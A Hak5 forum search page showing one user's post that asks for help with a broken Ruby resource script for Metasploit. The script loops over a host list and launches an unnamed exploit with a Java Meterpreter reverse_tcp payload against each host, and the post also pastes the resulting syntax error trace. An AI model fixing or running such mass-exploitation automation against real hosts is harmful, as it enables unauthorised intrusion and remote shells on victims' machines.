Jump to content

Search the Community

Showing results for tags 'ruby'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Talk
    • Everything Else
    • Gaming
    • Questions
    • Business and Enterprise IT
    • Security
    • Hacks & Mods
    • Applications & Coding
    • Trading Post
  • WiFi Pineapple
    • WiFi Pineapple TETRA
    • WiFi Pineapple NANO
    • WiFi Pineapple Mark V
    • WiFi Pineapple Mark IV
    • Pineapple Modules
    • WiFi Pineapple University
    • WiFi Pineapples Mark I, II, III
  • Hak5 Gear
    • Hak5 Cloud C²
    • Bash Bunny
    • Packet Squirrel
    • LAN Turtle
    • USB Rubber Ducky
  • Hak5 Shows
    • Hak5
    • HakTip
    • Metasploit Minute
    • Threatwire
  • Community
    • Forums and Wiki
    • #Hak5
  • Projects
    • SDR - Software Defined Radio
    • Community Projects
    • Interceptor
    • USB Hacks
    • USB Multipass
    • Pandora Timeshifting

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Enter a five letter word.

Found 1 result

  1. Hello am not sure if this is the right place to post but ill give it a try i've been trying to automate some tasks in metasploit using ruby. <ruby> # msfconsole commands hostsfile="host.txt" hosts=[] File.open(hostsfile,"r") do |f| f.each_line do |line| hosts.push line.strip end end self.run_single("use some exploit") self.run_single("set target 1") self.run_single("set rhosts 0.0.0.0") self.run_single("etg autorunscript multi_console_command") self.run_single("set rport 8080") self.run_single("set payload java/meterpreter/reverse_tcp") self.run_single("setg lhost <local_ip>) self.run_single("set ExitOnSession false") self.run_single("use THREADS 5") hosts.each do |rhost| self.run_single("set rhost #{rhost}") self.run_single("exploit -j -z") end </ruby> but each time i run msfconsole -r glas.rc i get an error [*] Processing myscript.rc for ERB directives. [*] resource (myscript.rc)> Ruby Code (572 bytes) [-] resource (myscript.rc)> Ruby Error: SyntaxError /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:65: syntax error, unexpected tIDENTIFIER, expecting ')' self.run_single("set RHOSTS #{rhost}") ^ /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:66: syntax error, unexpected keyword_end, expecting end-of-input un_single("exploit -j -z") end ^ ["/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:61:in `eval'", "/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:61:in `load_resource'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:183:in `block in initialize'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:182:in `each'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:182:in `initialize'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:62:in `new'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:62:in `driver'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:48:in `start'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/base.rb:82:in `start'", "/opt/metasploit-framework/bin/../embedded/framework/msfconsole:49:in `<main>'"] [*] Starting persistent handler(s)... i would really appreciate it if you can help me or even push me in the right direction. Thanks a lot.
×
×
  • Create New...